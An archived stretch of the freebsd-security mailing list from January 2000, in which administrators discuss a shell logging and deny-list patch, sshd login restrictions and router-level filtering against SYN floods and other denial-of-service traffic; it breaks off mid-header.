by axl.noc.iafrica.com with local-esmtp (Exim 3.11 #1) id 12AXcj-0002nj-00; Tue, 18 Jan 2000 14:20:37 +0200 From: Sheldon Hearn To: Omachonu Ogali Cc: freebsd-security@FreeBSD.ORG Subject: Re: Parent Logging Patch for sh(1) In-reply-to: Your message of "Tue, 18 Jan 2000 07:02:26 EST." Date: Tue, 18 Jan 2000 14:20:37 +0200 Message-ID: <10770.948198037@axl.noc.iafrica.com> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 18 Jan 2000 07:02:26 EST, Omachonu Ogali wrote: > My main focus was on BIND, I haven't seen someone yet who has smashed > the stack and changed argv[0], I must admit, I thought anything linked against libutil would be able to call setproctitle(3) (yes, I know that named doesn't). I also thought setproctitle(3) changes what you see via /proc. I could be wrong on either or both counts, but don't really feel like checking. ;-) Regardless, you should still take my advice and contact Robert Watson if you're really interested in contributing to FreeBSD security. :-) Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 18 7:38:29 2000 Delivered-To: freebsd-security@freebsd.org Received: from intranova.net (blacklisted.intranova.net [209.3.31.70]) by hub.freebsd.org (Postfix) with SMTP id A31BA14DCF for ; Tue, 18 Jan 2000 07:38:21 -0800 (PST) (envelope-from oogali@intranova.net) Received: (qmail 85318 invoked from network); 18 Jan 2000 10:40:31 -0000 Received: from hydrant.intranova.net (user12715@209.201.95.10) by blacklisted.intranova.net with SMTP; 18 Jan 2000 10:40:31 -0000 Date: Tue, 18 Jan 2000 10:35:28 -0500 (EST) From: Omachonu Ogali To: Sheldon Hearn Cc: freebsd-security@FreeBSD.ORG Subject: Re: Parent Logging Patch for sh(1) In-Reply-To: <10770.948198037@axl.noc.iafrica.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I will, what's his e-mail address? I'm new to the mailing lists... Omachonu Ogali Intranova Networking Group On Tue, 18 Jan 2000, Sheldon Hearn wrote: > > > On Tue, 18 Jan 2000 07:02:26 EST, Omachonu Ogali wrote: > > > My main focus was on BIND, I haven't seen someone yet who has smashed > > the stack and changed argv[0], > > I must admit, I thought anything linked against libutil would be able to > call setproctitle(3) (yes, I know that named doesn't). I also thought > setproctitle(3) changes what you see via /proc. I could be wrong on > either or both counts, but don't really feel like checking. ;-) > > Regardless, you should still take my advice and contact Robert Watson if > you're really interested in contributing to FreeBSD security. > > :-) > > Ciao, > Sheldon. > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 18 8:10:37 2000 Delivered-To: freebsd-security@freebsd.org Received: from point.osg.gov.bc.ca (point.osg.gov.bc.ca [142.32.102.44]) by hub.freebsd.org (Postfix) with ESMTP id 1F24B14E23 for ; Tue, 18 Jan 2000 08:10:34 -0800 (PST) (envelope-from Cy.Schubert@uumail.gov.bc.ca) Received: (from daemon@localhost) by point.osg.gov.bc.ca (8.8.7/8.8.8) id IAA27203; Tue, 18 Jan 2000 08:06:11 -0800 Received: from passer.osg.gov.bc.ca(142.32.110.29) via SMTP by point.osg.gov.bc.ca, id smtpda27201; Tue Jan 18 08:05:53 2000 Received: (from uucp@localhost) by passer.osg.gov.bc.ca (8.9.3/8.9.1) id IAA07412; Tue, 18 Jan 2000 08:05:52 -0800 (PST) Received: from cwsys9.cwsent.com(10.2.2.1), claiming to be "cwsys.cwsent.com" via SMTP by passer9.cwsent.com, id smtpdQw7408; Tue Jan 18 08:05:35 2000 Received: (from uucp@localhost) by cwsys.cwsent.com (8.9.3/8.9.1) id IAA48520; Tue, 18 Jan 2000 08:05:34 -0800 (PST) Message-Id: <200001181605.IAA48520@cwsys.cwsent.com> Received: from localhost.cwsent.com(127.0.0.1), claiming to be "cwsys" via SMTP by localhost.cwsent.com, id smtpdk48482; Tue Jan 18 08:05:15 2000 X-Mailer: exmh version 2.1.1 10/15/1999 Reply-To: Cy Schubert - ITSD Open Systems Group From: Cy Schubert - ITSD Open Systems Group X-OS: FreeBSD 3.4-RELEASE X-Sender: cy To: Omachonu Ogali Cc: Adam , Will Andrews , freebsd-security@FreeBSD.ORG Subject: Re: Parent Logging Patch for sh(1) In-reply-to: Your message of "Mon, 17 Jan 2000 21:04:07 EST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 18 Jan 2000 08:05:15 -0800 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message , O machonu Ogali writes: > http://tribune.intranova.net/archives/sh-log+access.patch adds uid and > username logging along with a deny list (/etc/sh.deny). > > And in reference to Keith Stevenson's 'So?', if you can determine the > point of entry in an intrusion you can backtrack to where it originated, > the main reason I created that patch was to allow a system administrator > to backtrack in the case of an intrusion. A couple of points re the patch: 1. Exploits are tailored, e.g. offsets, instructions, etc., for each targeted platform. All a cracker needs to do is use /bin/csh to circumvent this on FreeBSD systems. Since most people install another shell, e.g. bash, exploits can be altered to use other shells. Though I haven't had a chance to think about alternative solutions, I think we need to step back and look at the bigger picture. If I may offer a half-baked idea: Why not a kernel module that implements the access list at execve(2) for any shell or binary. The reason for a kernel module is that not everyone would want the latency that this would cause nor the extra kernel memory. It could also be a kernel option for static link into the kernel. Another idea might be that Robert Watson's logging and ACL's could be extended to implement this. Robert, care to comment? 1a. Related to #1 above, all a cracker needs to do is transfer his own shell to the victim system thereby circumventing all of #1. In this case a non-executable stack and jail(2) are your friends. A non-executable stack for FreeBSD was discussed here in the past. I'm not sure whether anyone is implementing this or not under FreeBSD. 2. The patch relies on a /proc filesystem. The proc filesystem has had security issues in the past, a reason why some don't use it. At the very least the patch should be #ifdef'd or should check for the existence of proc being mounted before proceeding. Any other ideas? Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 Sun/DEC Team, UNIX Group Internet: Cy.Schubert@uumail.gov.bc.ca ITSD Province of BC "e**(i*pi)+1=0" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 18 8:19:29 2000 Delivered-To: freebsd-security@freebsd.org Received: from intranova.net (blacklisted.intranova.net [209.3.31.70]) by hub.freebsd.org (Postfix) with SMTP id C2D4814F17 for ; Tue, 18 Jan 2000 08:18:46 -0800 (PST) (envelope-from oogali@intranova.net) Received: (qmail 6217 invoked from network); 18 Jan 2000 11:20:52 -0000 Received: from hydrant.intranova.net (user24223@209.201.95.10) by blacklisted.intranova.net with SMTP; 18 Jan 2000 11:20:52 -0000 Date: Tue, 18 Jan 2000 11:15:49 -0500 (EST) From: Omachonu Ogali To: Cy Schubert - ITSD Open Systems Group Cc: freebsd-security@freebsd.org Subject: Re: Parent Logging Patch for sh(1) In-Reply-To: <200001181605.IAA48520@cwsys.cwsent.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Gotcha. I thought of messing around with kern_exec.c to implement a deny list but I haven't had the time to sit down and study how things work, and also most exploits use /bin/sh to launch their attacks so that's why I pursued sh(1), they go after sh because bash isn't always guaranteed on the target machine, and I haven't seen anyone implement uploading of a shell in the shellcode I've come across. and I agree with you to looking at the big picture. Omachonu Ogali Intranova Networking Group On Tue, 18 Jan 2000, Cy Schubert - ITSD Open Systems Group wrote: > In message net>, O > machonu Ogali writes: > > http://tribune.intranova.net/archives/sh-log+access.patch adds uid and > > username logging along with a deny list (/etc/sh.deny). > > > > And in reference to Keith Stevenson's 'So?', if you can determine the > > point of entry in an intrusion you can backtrack to where it originated, > > the main reason I created that patch was to allow a system administrator > > to backtrack in the case of an intrusion. > > A couple of points re the patch: > > 1. Exploits are tailored, e.g. offsets, instructions, etc., for each > targeted platform. All a cracker needs to do is use /bin/csh to > circumvent this on FreeBSD systems. Since most people install > another shell, e.g. bash, exploits can be altered to use other > shells. > > Though I haven't had a chance to think about alternative solutions, > I think we need to step back and look at the bigger picture. > > If I may offer a half-baked idea: Why not a kernel module that > implements the access list at execve(2) for any shell or binary. > The reason for a kernel module is that not everyone would want the > latency that this would cause nor the extra kernel memory. It could > also be a kernel option for static link into the kernel. > > Another idea might be that Robert Watson's logging and ACL's could > be extended to implement this. Robert, care to comment? > > 1a. Related to #1 above, all a cracker needs to do is transfer his own > shell to the victim system thereby circumventing all of #1. In this > case a non-executable stack and jail(2) are your friends. > > A non-executable stack for FreeBSD was discussed here in the past. > I'm not sure whether anyone is implementing this or not under > FreeBSD. > > 2. The patch relies on a /proc filesystem. The proc filesystem has had > security issues in the past, a reason why some don't use it. At the > very least the patch should be #ifdef'd or should check for the > existence of proc being mounted before proceeding. > > Any other ideas? > > > Regards, Phone: (250)387-8437 > Cy Schubert Fax: (250)387-5766 > Sun/DEC Team, UNIX Group Internet: Cy.Schubert@uumail.gov.bc.ca > ITSD > Province of BC > "e**(i*pi)+1=0" > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 18 8:48:30 2000 Delivered-To: freebsd-security@freebsd.org Received: from eterna.binary.net (eterna.binary.net [12.13.84.6]) by hub.freebsd.org (Postfix) with ESMTP id 875B414BEF for ; Tue, 18 Jan 2000 08:48:27 -0800 (PST) (envelope-from nathan@rtfm.net) Received: from matrix.binary.net (root@matrix.binary.net [12.13.120.2]) by eterna.binary.net (8.9.1a/8.9.1) with ESMTP id KAA61792; Tue, 18 Jan 2000 10:48:27 -0600 (CST) Received: (from nathan@localhost) by matrix.binary.net (8.9.3/8.9.1) id KAA45933; Tue, 18 Jan 2000 10:48:27 -0600 (CST) Date: Tue, 18 Jan 2000 11:48:27 -0500 From: Nathan Dorfman To: "Matthew D. Fuller" Cc: cjclark@home.com, Nicholas Brawn , freebsd-security@FreeBSD.ORG Subject: Re: Disallow remote login by regular user. Message-ID: <20000118114827.A45759@rtfm.net> References: <200001140145.UAA15101@cc942873-a.ewndsr1.nj.home.com> <20000114133222.A18079@rtfm.net> <20000117195642.B23821@futuresouth.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95i In-Reply-To: <20000117195642.B23821@futuresouth.com>; from Matthew D. Fuller on Mon, Jan 17, 2000 at 07:56:42PM -0600 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, Jan 17, 2000 at 07:56:42PM -0600, Matthew D. Fuller wrote: > [ Sorry, little bit late... ] > > On Fri, Jan 14, 2000 at 01:32:22PM -0500, a little birdie told me > that Nathan Dorfman remarked > > On Thu, Jan 13, 2000 at 08:45:20PM -0500, Crist J. Clark wrote: > > > > > > For anything that is going to call login(1), you can use > > > /etc/login.access(5). That pretty much eliminates stuff like telnet, > > > rlogin, and console logins. For SSH, look at the 'AllowUsers' and > > > 'DenyUsers' keywords for the sshd_conf file on the sshd(8) > > > manpage. And of course, if ftp(1) is an issue, there is /etc/ftpusers > > > as described in ftpd(8). > > > > You can make sshd use login(1). Set UseLogin to yes in sshd_config. This > > is (at least sounds like) a good idea just so that login.access(5) and > > login.conf(5) have their effect. > > Except (at least login.access) they don't. > > Try it. Never worked for me. Hmm. You're right, login.access doesn't seem to work, I wonder why... resource limits and environment settings from login.conf work fine though. > -- > Matthew Fuller (MF4839) | fullermd@over-yonder.net > Unix Systems Administrator | fullermd@futuresouth.com > Specializing in FreeBSD | http://www.over-yonder.net/ > > "The only reason I'm burning my candle at both ends, is because I > haven't figured out how to light the middle yet" -- Nathan Dorfman The statements and opinions in my Unix Admin @ Frontline Communications public posts are mine, not FCC's. "The light at the end of the tunnel is the headlight of an approaching train." --/usr/games/fortune To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 18 9: 4:12 2000 Delivered-To: freebsd-security@freebsd.org Received: from revelex.com (revelex.com [207.61.176.194]) by hub.freebsd.org (Postfix) with ESMTP id 893B114C2F for ; Tue, 18 Jan 2000 09:04:09 -0800 (PST) (envelope-from jonf@revelex.com) Received: from server (tootle@nt.revelex.com [10.0.0.9]) by revelex.com (8.9.3/8.9.3) with SMTP id LAA32327 for ; Tue, 18 Jan 2000 11:59:58 -0500 (EST) Message-ID: <002801bf61de$b2663560$0900000a@server> From: "Jonathan Fortin" To: Subject: TCP/IP Date: Tue, 18 Jan 2000 12:06:07 -0600 Organization: Revelex Corp. MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0025_01BF61AC.67008620" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This is a multi-part message in MIME format. ------=_NextPart_000_0025_01BF61AC.67008620 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I noticed that most of the firewalls out there don't cover protection = e.g, on a denial of service attack, it should ignore the whole protocol but only allow packets with 3k in lenght. etc. ------=_NextPart_000_0025_01BF61AC.67008620 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 
I noticed that most of the firewalls out there don't = cover=20 protection e.g, on a denial of service attack, it should ignore the = whole=20 protocol
but only allow packets with 3k in lenght.=20 etc.
------=_NextPart_000_0025_01BF61AC.67008620-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 18 9:47: 1 2000 Delivered-To: freebsd-security@freebsd.org Received: from bsdie.rwsystems.net (bsdie.rwsystems.net [209.197.223.2]) by hub.freebsd.org (Postfix) with ESMTP id 684C414CF1 for ; Tue, 18 Jan 2000 09:46:59 -0800 (PST) (envelope-from jwyatt@rwsystems.net) Received: from bsdie.rwsystems.net([209.197.223.2]) (1307 bytes) by bsdie.rwsystems.net via sendmail with P:esmtp/R:bind_hosts/T:inet_zone_bind_smtp (sender: ) id for ; Tue, 18 Jan 2000 11:41:02 -0600 (CST) (Smail-3.2.0.106 1999-Mar-31 #1 built 1999-Aug-7) Date: Tue, 18 Jan 2000 11:41:02 -0600 (CST) From: James Wyatt To: Jonathan Fortin Cc: freebsd-security@freebsd.org Subject: Re: TCP/IP In-Reply-To: <002801bf61de$b2663560$0900000a@server> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 18 Jan 2000, Jonathan Fortin wrote: > I noticed that most of the firewalls out there don't cover protection e.g, on a denial of service attack, it should ignore the whole protocol > but only allow packets with 3k in lenght. etc. The only real DoS 'thing' I've noticed is the ICMP_BANDLIM to limit icmp error responses, which works fairly well. Most of the DoS stuff, IMHO, should be done at the router, and the one on the input-end of the link if you can. This protects the link as well as the host. Amplifiers can really overwhelm a link... Of course, if you are using FreeBSD as your router, this becomes very implrtant on the host again, right Dennis? I would *love* to hear what others have done besides the usual ipfw rules. Thanks - Jy@ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 18 9:56: 2 2000 Delivered-To: freebsd-security@freebsd.org Received: from intranova.net (blacklisted.intranova.net [209.3.31.70]) by hub.freebsd.org (Postfix) with SMTP id 554CE14A00 for ; Tue, 18 Jan 2000 09:55:58 -0800 (PST) (envelope-from oogali@intranova.net) Received: (qmail 60797 invoked from network); 18 Jan 2000 12:58:07 -0000 Received: from hydrant.intranova.net (user8715@209.201.95.10) by blacklisted.intranova.net with SMTP; 18 Jan 2000 12:58:07 -0000 Date: Tue, 18 Jan 2000 12:53:04 -0500 (EST) From: Omachonu Ogali To: Jonathan Fortin Cc: freebsd-security@freebsd.org Subject: Re: TCP/IP In-Reply-To: <002801bf61de$b2663560$0900000a@server> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org 3kb in length? The maximum MTU on most links I think is 1500 bytes, toss in the headers and you're looking at about 1400 bytes to play with... And also, what protocol are you referring to? Omachonu Ogali Intranova Networking Group On Tue, 18 Jan 2000, Jonathan Fortin wrote: > > I noticed that most of the firewalls out there don't cover protection e.g, on a denial of service attack, it should ignore the whole protocol > but only allow packets with 3k in lenght. etc. > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 18 9:57:41 2000 Delivered-To: freebsd-security@freebsd.org Received: from mail5.uunet.ca (mail5.uunet.ca [142.77.1.28]) by hub.freebsd.org (Postfix) with ESMTP id 1568F14EFC for ; Tue, 18 Jan 2000 09:56:27 -0800 (PST) (envelope-from matt@ARPA.MAIL.NET) Received: from w01.arpa-canada.net ([216.95.146.6]) by mail5.uunet.ca with ESMTP id <231315-15291>; Tue, 18 Jan 2000 12:54:18 -0500 Date: Tue, 18 Jan 2000 12:53:12 -0500 From: matt X-Sender: matt@w01.arpa-canada.net To: James Wyatt Cc: Jonathan Fortin , freebsd-security@freebsd.org Subject: Re: TCP/IP In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I would love to talk my uplink (uunet.ca) into filtering certain things before they pass it on to my router, wish they would =/ Besides that, I filter syn,fin, icmp, all udp except ntp/dns, besides that, I don't think there is much that I can do. -Matt On Tue, 18 Jan 2000, James Wyatt wrote: : Date: Tue, 18 Jan 2000 12:41:02 -0500 : From: James Wyatt : To: Jonathan Fortin : Cc: freebsd-security@freebsd.org : Subject: Re: TCP/IP : : On Tue, 18 Jan 2000, Jonathan Fortin wrote: : > I noticed that most of the firewalls out there don't cover protection e.g, on a denial of service attack, it should ignore the whole protocol : > but only allow packets with 3k in lenght. etc. : : The only real DoS 'thing' I've noticed is the ICMP_BANDLIM to limit icmp : error responses, which works fairly well. Most of the DoS stuff, IMHO, : should be done at the router, and the one on the input-end of the link if : you can. This protects the link as well as the host. Amplifiers can really : overwhelm a link... Of course, if you are using FreeBSD as your router, : this becomes very implrtant on the host again, right Dennis? : : I would *love* to hear what others have done besides the usual ipfw rules. : Thanks - Jy@ : : : : To Unsubscribe: send mail to majordomo@FreeBSD.org : with "unsubscribe freebsd-security" in the body of the message : To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 18 10: 5: 7 2000 Delivered-To: freebsd-security@freebsd.org Received: from alpha.dgweb.com (alpha.dgweb.com [207.218.73.252]) by hub.freebsd.org (Postfix) with ESMTP id 729AF15291 for ; Tue, 18 Jan 2000 10:04:41 -0800 (PST) (envelope-from kuzak@kuzak.net) Received: from kuzak (killer@sac1-3.dgweb.com [207.218.73.3]) by alpha.dgweb.com (8.10.0.Beta10/8.10.0Beta10) with SMTP id e0II3XR62126; Tue, 18 Jan 2000 10:03:33 -0800 (PST) Message-Id: <200001181803.e0II3XR62126@alpha.dgweb.com> X-Sender: kuzak@mail.kuzak.net X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0 Date: Tue, 18 Jan 2000 09:55:55 -0800 To: "Jonathan Fortin" From: Kuzak Subject: Re: TCP/IP Cc: freebsd-security@FreeBSD.ORG In-Reply-To: <002801bf61de$b2663560$0900000a@server> Mime-Version: 1.0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Once the DoS gets to the server there is not much point in trying to filter it
since it will already be filling your connection.=A0 The only way that I have found
effective at all is to block and rate limit everything at the border routers.=A0 Further
upstream would of course be better, but who has gotten uu to give in an give then
access to the policies on their routers?
-Aric





At 12:06 PM 1/18/00 -0600, you wrote:
=A0
I noticed that most of the firewalls out there don't cover protection e.g, on a denial of service attack, it should ignore the whole protocol
but only allow packets with 3k in lenght. etc.



 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 18 11:19:52 2000 Delivered-To: freebsd-security@freebsd.org Received: from pau-amma.whistle.com (pau-amma.whistle.com [207.76.205.64]) by hub.freebsd.org (Postfix) with ESMTP id 92FF2150E8 for ; Tue, 18 Jan 2000 11:17:45 -0800 (PST) (envelope-from dhw@whistle.com) Received: (from dhw@localhost) by pau-amma.whistle.com (8.9.2/8.9.2) id LAA76938; Tue, 18 Jan 2000 11:17:45 -0800 (PST) Date: Tue, 18 Jan 2000 11:17:45 -0800 (PST) From: David Wolfskill Message-Id: <200001181917.LAA76938@pau-amma.whistle.com> To: matt@ARPA.MAIL.NET Subject: Re: TCP/IP Cc: freebsd-security@freebsd.org In-Reply-To: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Date: Tue, 18 Jan 2000 12:53:12 -0500 >From: matt >I would love to talk my uplink (uunet.ca) into filtering certain things >before they pass it on to my router, wish they would =/ Besides that, I >filter syn,fin, icmp, all udp except ntp/dns, besides that, I don't think >there is much that I can do. Put another router in series with it. Use an RFC 1918 "private net" numbering scheme for that (pathological) network, which then becomes an effective "demarc" between uunet.ca's responsibility/ability and yours. This generalizes, within reason. (Yes, it adds latency, too....) Cheers, david -- David Wolfskill dhw@whistle.com UNIX System Administrator voice: (650) 577-7158 pager: (888) 347-0197 FAX: (650) 372-5915 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 18 11:38:36 2000 Delivered-To: freebsd-security@freebsd.org Received: from revelex.com (revelex.com [207.61.176.194]) by hub.freebsd.org (Postfix) with ESMTP id 5EBD315132 for ; Tue, 18 Jan 2000 11:38:31 -0800 (PST) (envelope-from jonf@revelex.com) Received: from server (nt.revelex.com [10.0.0.9]) by revelex.com (8.9.3/8.9.3) with SMTP id OAA18464 for ; Tue, 18 Jan 2000 14:34:15 -0500 (EST) Message-ID: <001701bf61f4$3f6dd3e0$0900000a@server> From: "Jonathan Fortin" To: Subject: TCP/IP Date: Tue, 18 Jan 2000 14:40:25 -0600 Organization: Revelex Corp. MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0014_01BF61C1.F4C8B580" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This is a multi-part message in MIME format. ------=_NextPart_000_0014_01BF61C1.F4C8B580 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Im referring to syn attacks,=20 ------=_NextPart_000_0014_01BF61C1.F4C8B580 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 
 
Im referring to syn attacks, =
------=_NextPart_000_0014_01BF61C1.F4C8B580-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 18 12:17:23 2000 Delivered-To: freebsd-security@freebsd.org Received: from axl.noc.iafrica.com (axl.noc.iafrica.com [196.31.1.175]) by hub.freebsd.org (Postfix) with ESMTP id 1B9E51500B for ; Tue, 18 Jan 2000 12:17:15 -0800 (PST) (envelope-from sheldonh@axl.noc.iafrica.com) Received: from sheldonh (helo=axl.noc.iafrica.com) by axl.noc.iafrica.com with local-esmtp (Exim 3.11 #1) id 12Af1t-00042f-00; Tue, 18 Jan 2000 22:15:05 +0200 From: Sheldon Hearn To: Cy Schubert - ITSD Open Systems Group Cc: Omachonu Ogali , Adam , Will Andrews , freebsd-security@FreeBSD.ORG Subject: Re: Parent Logging Patch for sh(1) In-reply-to: Your message of "Tue, 18 Jan 2000 08:05:15 PST." <200001181605.IAA48520@cwsys.cwsent.com> Date: Tue, 18 Jan 2000 22:15:05 +0200 Message-ID: <15540.948226505@axl.noc.iafrica.com> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 18 Jan 2000 08:05:15 PST, Cy Schubert - ITSD Open Systems Group wrote: > If I may offer a half-baked idea: Why not a kernel module that > implements the access list at execve(2) for any shell or binary. Did you take a look at the spy(4) module, URLs for which I posted earlier in this thread? Somewhere between abial's and rwatson's work lies a solution. :-) Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 18 12:50:34 2000 Delivered-To: freebsd-security@freebsd.org Received: from phoenix.volant.org (phoenix.volant.org [205.179.79.193]) by hub.freebsd.org (Postfix) with ESMTP id 4EDE615065 for ; Tue, 18 Jan 2000 12:50:24 -0800 (PST) (envelope-from patl@phoenix.volant.org) Received: from asimov.phoenix.volant.org ([205.179.79.65]) by phoenix.volant.org with esmtp (Exim 1.92 #8) id 12AfZx-0004Mc-00; Tue, 18 Jan 2000 12:50:17 -0800 Received: from localhost (localhost [127.0.0.1]) by asimov.phoenix.volant.org (8.9.1b+Sun/8.9.1) with SMTP id MAA10312; Tue, 18 Jan 2000 12:50:15 -0800 (PST) Date: Tue, 18 Jan 2000 12:50:15 -0800 (PST) From: patl@phoenix.volant.org Reply-To: patl@phoenix.volant.org Subject: Re: TCP/IP To: David Wolfskill Cc: matt@ARPA.MAIL.NET, freebsd-security@freebsd.org In-Reply-To: <200001181917.LAA76938@pau-amma.whistle.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 18-Jan-00 at 11:21, David Wolfskill (dhw@whistle.com) wrote: > >Date: Tue, 18 Jan 2000 12:53:12 -0500 > >From: matt > > >I would love to talk my uplink (uunet.ca) into filtering certain things > >before they pass it on to my router, wish they would =/ Besides that, I > >filter syn,fin, icmp, all udp except ntp/dns, besides that, I don't think > >there is much that I can do. > > Put another router in series with it. Use an RFC 1918 "private net" > numbering scheme for that (pathological) network, which then becomes an > effective "demarc" between uunet.ca's responsibility/ability and yours. > > This generalizes, within reason. (Yes, it adds latency, too....) Umm, I think Matt's point was that he would like to filter these things out -before- they consume bandwidth between his uplink and his router. (I know I would...) -Pat To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 18 13:44:11 2000 Delivered-To: freebsd-security@freebsd.org Received: from point.osg.gov.bc.ca (point.osg.gov.bc.ca [142.32.102.44]) by hub.freebsd.org (Postfix) with ESMTP id 57CA7151E5 for ; Tue, 18 Jan 2000 13:43:50 -0800 (PST) (envelope-from Cy.Schubert@uumail.gov.bc.ca) Received: (from daemon@localhost) by point.osg.gov.bc.ca (8.8.7/8.8.8) id NAA28330; Tue, 18 Jan 2000 13:43:39 -0800 Received: from passer.osg.gov.bc.ca(142.32.110.29) via SMTP by point.osg.gov.bc.ca, id smtpda28327; Tue Jan 18 13:43:28 2000 Received: (from uucp@localhost) by passer.osg.gov.bc.ca (8.9.3/8.9.1) id NAA09877; Tue, 18 Jan 2000 13:43:27 -0800 (PST) Message-Id: <200001182143.NAA09877@passer.osg.gov.bc.ca> Received: from localhost.osg.gov.bc.ca(127.0.0.1), claiming to be "passer.osg.gov.bc.ca" via SMTP by localhost.osg.gov.bc.ca, id smtpdYB9873; Tue Jan 18 13:43:16 2000 X-Mailer: exmh version 2.1.1 10/15/1999 Reply-To: Cy Schubert - ITSD Open Systems Group X-OS: FreeBSD 3.4-RELEASE X-Sender: cschuber To: Sheldon Hearn Cc: Cy Schubert - ITSD Open Systems Group , Omachonu Ogali , Adam , Will Andrews , freebsd-security@FreeBSD.ORG Subject: Re: Parent Logging Patch for sh(1) In-reply-to: Your message of "Tue, 18 Jan 2000 22:15:05 +0200." <15540.948226505@axl.noc.iafrica.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 18 Jan 2000 13:43:07 -0800 From: Cy Schubert Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <15540.948226505@axl.noc.iafrica.com>, Sheldon Hearn writes: > > > On Tue, 18 Jan 2000 08:05:15 PST, Cy Schubert - ITSD Open Systems Group wrote > : > > > If I may offer a half-baked idea: Why not a kernel module that > > implements the access list at execve(2) for any shell or binary. > > Did you take a look at the spy(4) module, URLs for which I posted > earlier in this thread? Somewhere between abial's and rwatson's work > lies a solution. :-) I noticed your comment in a posting following (in sequence #) the note I replied to. Having had a cursory look at it, it looks interesting. It reminds me of Tru64-UNIX's audit log or MVS's SMF. I'm not running -current, though I'm preparing my X server machine (486DX/33 -- picked up a couple of small SCSI drives for free) as a testbed to test -current on older hardware. I can check it out then. Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 Sun/DEC Team, UNIX Group Internet: Cy.Schubert@uumail.gov.bc.ca ITSD Province of BC "e**(i*pi)+1=0" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 18 16: 1:22 2000 Delivered-To: freebsd-security@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 0C5F214E8A for ; Tue, 18 Jan 2000 16:01:18 -0800 